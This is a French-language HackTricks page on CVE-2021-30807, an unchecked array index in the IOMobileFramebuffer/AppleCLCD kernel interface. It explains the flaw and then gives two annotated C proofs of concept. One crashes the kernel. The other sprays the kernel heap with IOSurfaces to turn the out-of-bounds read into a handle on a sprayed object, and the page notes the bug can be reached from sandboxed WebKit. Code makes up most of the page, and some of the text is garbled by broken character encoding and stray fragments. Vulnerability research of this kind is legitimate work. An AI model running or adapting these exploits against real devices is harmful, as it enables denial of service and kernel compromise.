CVE-2021-30807: IOMobileFrameBuffer OOB

Reading time: 10 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

La faille

Vous avez une excellente explication de la vuln ici, mais pour résumer :

  • Le chemin de code vulnĂ©rable est external method #83 du client utilisateur IOMobileFramebuffer / AppleCLCD : IOMobileFramebufferUserClient::s_displayed_fb_surface(...). Cette mĂ©thode reçoit un paramĂštre contrĂŽlĂ© par l'utilisateur qui n'est vĂ©rifiĂ© d'aucune maniĂšre et qui est transmis Ă  la fonction suivante sous le nom scalar0.

  • Cette mĂ©thode appelle IOMobileFramebufferLegacy::get_displayed_surface(this, task*, out_id, scalar0), oĂč scalar0 (une valeur 32-bit contrĂŽlĂ©e par l'utilisateur) est utilisĂ©e comme index dans un tableau interne de pointeurs sans aucune vĂ©rification de bornes :

ptr = *(this + 0xA58 + scalar0 * 8); → passĂ© Ă  IOSurfaceRoot::copyPortNameForSurfaceInTask(...) comme un IOSurface*.
RĂ©sultat : OOB pointer read & type confusion sur ce tableau. Si le pointeur n'est pas valide, le dĂ©rĂ©fĂ©rencement du kernel panique → DoS.

note

Ceci a été corrigé dans iOS/iPadOS 14.7.1, macOS Big Sur 11.5.1, watchOS 7.6.1

warning

La fonction initiale pour appeler IOMobileFramebufferUserClient::s_displayed_fb_surface(...) est protĂ©gĂ©e par l'entitlement com.apple.private.allow-explicit-graphics-priority. Cependant, WebKit.WebContent possĂšde cet entitlement, donc il peut ĂȘtre utilisĂ© pour dĂ©clencher la vuln depuis un processus sandboxĂ©.

PoC DoS

Le PoC DoS suivant est le PoC initial du billet de blog original avec des commentaires supplémentaires :

c
// PoC for CVE-2021-30807 trigger (annotated)
// NOTE: This demonstrates the crash trigger; it is NOT an LPE.
// Build/run only on devices you own and that are vulnerable.
// Patched in iOS/iPadOS 14.7.1, macOS 11.5.1, watchOS 7.6.1.  (Apple advisory)
// https://support.apple.com/en-us/103144
// https://nvd.nist.gov/vuln/detail/CVE-2021-30807

void trigger_clcd_vuln(void) {
kern_return_t ret;
io_connect_t shared_user_client_conn = MACH_PORT_NULL;

// The "type" argument is the type (selector) of user client to open.
// For IOMobileFramebuffer, 2 typically maps to a user client that exposes the
// external methods we need (incl. selector 83). If this doesn't work on your
// build, try different types or query IORegistry to enumerate.
int type = 2;

// 1) Locate the IOMobileFramebuffer service in the IORegistry.
//    This returns the first matched service object (a kernel object handle).
io_service_t service = IOServiceGetMatchingService(
kIOMasterPortDefault,
IOServiceMatching("IOMobileFramebuffer"));

if (service == MACH_PORT_NULL) {
printf("failed to open service\n");
return;
}

printf("service: 0x%x\n", service);

// 2) Open a connection (user client) to the service.
//    The user client is what exposes external methods to userland.
//    'type' selects which user client class/variant to instantiate.
ret = IOServiceOpen(service, mach_task_self(), type, &shared_user_client_conn);
if (ret != KERN_SUCCESS) {
printf("failed to open userclient: %s\n", mach_error_string(ret));
return;
}

printf("client: 0x%x\n", shared_user_client_conn);

printf("call externalMethod\n");

// 3) Prepare input scalars for the external method call.
//    The vulnerable path uses a 32-bit scalar as an INDEX into an internal
//    array of pointers WITHOUT bounds checking (OOB read / type confusion).
//    We set it to a large value to force the out-of-bounds access.
uint64_t scalars[4] = { 0x0 };
scalars[0] = 0x41414141; // **Attacker-controlled index** → OOB pointer lookup

// 4) Prepare output buffers (the method returns a scalar, e.g. a surface ID).
uint64_t output_scalars[4] = { 0 };
uint32_t output_scalars_size = 1;

printf("call s_default_fb_surface\n");

// 5) Invoke external method #83.
//    On vulnerable builds, this path ends up calling:
//      IOMobileFramebufferUserClient::s_displayed_fb_surface(...)
//      → IOMobileFramebufferLegacy::get_displayed_surface(...)
//      which uses our index to read a pointer and then passes it as IOSurface*.
//    If the pointer is bogus, IOSurface code will dereference it and the kernel
//    will panic (DoS).
ret = IOConnectCallMethod(
shared_user_client_conn,
83,                 // **Selector 83**: vulnerable external method
scalars, 1,         // input scalars (count = 1; the OOB index)
NULL, 0,            // no input struct
output_scalars, &output_scalars_size,  // optional outputs
NULL, NULL);        // no output struct

// 6) Check the call result. On many vulnerable targets, you'll see either
//    KERN_SUCCESS right before a panic (because the deref happens deeper),
//    or an error if the call path rejects the request (e.g., entitlement/type).
if (ret != KERN_SUCCESS) {
printf("failed to call external method: 0x%x --> %s\n",
ret, mach_error_string(ret));
return;
}

printf("external method returned KERN_SUCCESS\n");

// 7) Clean up the user client connection handle.
IOServiceClose(shared_user_client_conn);
printf("success!\n");
}

Arbitrary Read PoC expliqué

  1. Ouverture du bon user client
  • get_appleclcd_uc() trouve le service AppleCLCD et ouvre le user client type 2. AppleCLCD et IOMobileFramebuffer partagent la mĂȘme table external-methods ; le type 2 expose selector 83, la mĂ©thode vulnĂ©rable. C'est votre point d'entrĂ©e vers le bug. E_POC/)

Pourquoi 83 est important : le chemin décompilé est :

  • IOMobileFramebufferUserClient::s_displayed_fb_surface(...)
    → IOMobileFramebufferUserClient::get_displayed_surface(...)
    → IOMobileFramebufferLegacy::get_displayed_surface(...)
    À l'intĂ©rieur de cet appel final, le code utilise votre scalaire 32 bits comme index de tableau sans vĂ©rification de bornes, rĂ©cupĂšre un pointeur depuis this + 0xA58 + index*8, et le passe en tant que IOSurface* Ă  IOSurfaceRoot::copyPortNameForSurfaceInTask(...). C'est le OOB + la confusion de type.
  1. The heap spray (pourquoi IOSurface apparaĂźt ici)
  • do_spray() utilise IOSurfaceRootUserClient pour crĂ©er de nombreux IOSurfaces et spray small values (style s_set_value). Cela remplit les kernel heaps voisins avec des pointeurs vers des objets IOSurface valides.

  • Objectif : lorsque selector 83 lit au-delĂ  de la table lĂ©gitime, la slot OOB contient probablement un pointeur vers l'un de vos IOSurfaces (rĂ©els) — donc la dĂ©rĂ©fĂ©rence qui suit ne plante pas et rĂ©ussit. IOSurface est un primitive classique de kernel spray bien documentĂ©e, et le post de Saar liste explicitement les mĂ©thodes create / set_value / lookup utilisĂ©es pour ce flux d'exploitation.

  1. L'astuce "offset/8" (ce que cet index est vraiment)
  • Dans trigger_oob(offset), vous dĂ©finissez scalars[0] = offset / 8.

  • Pourquoi diviser par 8 ? Le kernel fait base + index*8 pour calculer quelle case de la taille d'un pointeur lire. Vous choisissez "numĂ©ro de case N", pas un offset en octets. Huit octets par case sur du 64-bit.

  • Cette adresse calculĂ©e est this + 0xA58 + index*8. Le PoC utilise une grosse constante (0x1200000 + 0x1048) simplement pour s'avancer trĂšs hors des limites vers une rĂ©gion que vous avez essayĂ© de peupler densĂ©ment avec des pointeurs IOSurface. Si le spray "gagne", la case visĂ©e est un IOSurface* valide.

  1. Ce que renvoie selector 83 (c'est la partie subtile)
  • L'appel est :

IOConnectCallMethod(appleclcd_uc, 83, scalars, 1, NULL, 0, output_scalars, &output_scalars_size, NULL, NULL);o

  • En interne, aprĂšs la rĂ©cupĂ©ration du pointeur OOB, le pilote appelle
    IOSurfaceRoot::copyPortNameForSurfaceInTask(task, IOSurface*, out_u32*).

  • RĂ©sultat : output_scalars[0] est un Mach port name (handle u32) dans votre task pour n'importe quel pointeur d'objet que vous avez fourni via l'OOB. Ce n'est pas une fuite d'adresse kernel brute ; c'est un handle en espace utilisateur (send right). Ce comportement exact (copie d'un port name) est montrĂ© dans la dĂ©compilation de Saar.

Pourquoi c'est utile : avec un port name vers le (soi-disant) IOSurface, vous pouvez maintenant utiliser des méthodes IOSurfaceRoot comme :

  • s_lookup_surface_from_port (method 34) → transformer le port en un surface ID sur lequel vous pouvez opĂ©rer via d'autres appels IOSurface, et

  • s_create_port_from_surface (method 35) si vous avez besoin de l'inverse.
    Saar mentionne explicitement ces méthodes comme étape suivante. Le PoC démontre que vous pouvez « fabriquer » un handle IOSurface légitime à partir d'une case OOB. Saaramar

Ce PoC provient de ici et des commentaires ont été ajoutés pour expliquer les étapes :

c
#include "exploit.h"

// Open the AppleCLCD (aka IOMFB) user client so we can call external methods.
io_connect_t get_appleclcd_uc(void) {
kern_return_t ret;
io_connect_t shared_user_client_conn = MACH_PORT_NULL;
int type = 2; // **UserClient type**: variant that exposes selector 83 on affected builds.  ⭐
// (AppleCLCD and IOMobileFramebuffer share the same external methods table.)

// Find the **AppleCLCD** service in the IORegistry.
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault,
IOServiceMatching("AppleCLCD"));
if(service == MACH_PORT_NULL) {
printf("[-] failed to open service\n");
return MACH_PORT_NULL;
}
printf("[*] AppleCLCD service: 0x%x\n", service);

// Open a user client connection to AppleCLCD with the chosen **type**.
ret = IOServiceOpen(service, mach_task_self(), type, &shared_user_client_conn);
if(ret != KERN_SUCCESS) {
printf("[-] failed to open userclient: %s\n", mach_error_string(ret));
return MACH_PORT_NULL;
}
printf("[*] AppleCLCD userclient: 0x%x\n", shared_user_client_conn);
return shared_user_client_conn;
}

// Trigger the OOB index path of external method #83.
// The 'offset' you pass is in bytes; dividing by 8 converts it to the
// index of an 8-byte pointer slot in the internal table at (this + 0xA58).
uint64_t trigger_oob(uint64_t offset) {
kern_return_t ret;

// The method takes a single 32-bit scalar that it uses as an index.
uint64_t scalars[1] = { 0x0 };
scalars[0] = offset / 8;   // **index = byteOffset / sizeof(void*)**.  ⭐

// #83 returns one scalar. In this flow it will be the Mach port name
// (a u32 handle in our task), not a kernel pointer.
uint64_t output_scalars[1] = { 0 };
uint32_t output_scalars_size = 1;

io_connect_t appleclcd_uc = get_appleclcd_uc();
if (appleclcd_uc == MACH_PORT_NULL) {
return 0;
}

// Call external method 83. Internally:
//   ptr = *(this + 0xA58 + index*8);         // OOB pointer fetch
//   IOSurfaceRoot::copyPortNameForSurfaceInTask(task, (IOSurface*)ptr, &out)
// which creates a send right for that object and writes its port name
// into output_scalars[0]. If ptr is junk → deref/panic (DoS).
ret = IOConnectCallMethod(appleclcd_uc, 83,
scalars, 1,
NULL, 0,
output_scalars, &output_scalars_size,
NULL, NULL);

if (ret != KERN_SUCCESS) {
printf("[-] external method 83 failed: %s\n",  mach_error_string(ret));
return 0;
}

// This is the key: you get back a Mach port name (u32) to whatever
// object was at that OOB slot (ideally an IOSurface you sprayed).
printf("[*] external method 83 returned: 0x%llx\n", output_scalars[0]);
return output_scalars[0];
}

// Heap-shape with IOSurfaces so an OOB slot likely contains a pointer to a
// real IOSurface (easier & stabler than a fully fake object).
bool do_spray(void) {
char data[0x10];
memset(data, 0x41, sizeof(data)); // Tiny payload for value spraying.

// Get IOSurfaceRootUserClient (reachable from sandbox/WebContent).
io_connect_t iosurface_uc = get_iosurface_root_uc();
if (iosurface_uc == MACH_PORT_NULL) {
printf("[-] do_spray: failed to allocate new iosurface_uc\n");
return false;
}

// Create many IOSurfaces and use set_value / value spray helpers
// (Brandon Azad-style) to fan out allocations in kalloc.  ⭐
int *surface_ids = (int*)malloc(SURFACES_COUNT * sizeof(int));
for (size_t i = 0; i < SURFACES_COUNT; ++i) {
surface_ids[i] = create_surface(iosurface_uc);       // s_create_surface
if (surface_ids[i] <= 0) {
return false;
}

// Spray small values repeatedly: tends to allocate/fill predictable
// kalloc regions near where the IOMFB table OOB will read from.
// The “with_gc” flavor forces periodic GC to keep memory moving/packed.
if (IOSurface_spray_with_gc(iosurface_uc, surface_ids[i],
20, 200,   // rounds, per-round items
data, sizeof(data),
NULL) == false) {
printf("iosurface spray failed\n");
return false;
}
}
return true;
}

int main(void) {
// Ensure we can talk to IOSurfaceRoot (some helpers depend on it).
io_connect_t iosurface_uc = get_iosurface_root_uc();
if (iosurface_uc == MACH_PORT_NULL) {
return 0;
}

printf("[*] do spray\n");
if (do_spray() == false) {
printf("[-] shape failed, abort\n");
return 1;
}
printf("[*] spray success\n");

// Trigger the OOB read. The magic constant chooses a pointer-slot
// far beyond the legit array (offset is in bytes; index = offset/8).
// If the spray worked, this returns a **Mach port name** (handle) to one
// of your sprayed IOSurfaces; otherwise it may crash.
printf("[*] trigger\n");
trigger_oob(0x1200000 + 0x1048);
return 0;
}

Références

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks